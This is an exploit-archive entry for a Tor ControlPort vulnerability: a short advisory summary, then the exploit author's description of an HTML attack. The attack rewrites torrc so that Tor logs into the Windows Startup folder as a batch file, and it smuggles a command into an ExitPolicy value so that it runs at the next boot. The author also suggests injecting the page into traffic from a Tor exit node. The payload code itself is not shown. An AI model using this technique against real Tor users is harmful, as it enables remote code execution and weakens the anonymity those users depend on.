source: https://www.securityfocus.com/bid/25188/info Tor is prone to an unauthorized-access vulnerability due to a design error when handling multiple connections to the ControlPort. An attacker can exploit this issue to reconfigure Tor and significantly weaken the anonymity provided by the software. Tor 0.1.2.15 is confirmed vulnerable; previous versions may also be affected. <!-- Tor < 0.1.2.16 with ControlPort enabled ( not default ) Exploit for Tor ControlPort "torrc" Rewrite Vulnerability http://secunia.com/advisories/26301 Rewrites the torrc to log to a different location: C:\Documents and Settings\All Users\Start Menu\Programs\Startup\t.bat Also enables debug logging, and an erroneous ExitPolicy looking something like this: reject*:1337\'&' calc.exe this will output: [debug] parse_addr_policy(): Adding new entry 'reject*:1337'& calc.exe to the debug log -> t.bat which will run calc.exe on next boot. This is not very silent though, t.bat will contain something like 45 rows of crap which the user will see in about 1 sec, drop me a mail if you have a better way. Either have a TOR user visit this HTML or inject it into her traffic when you're a TOR exit.
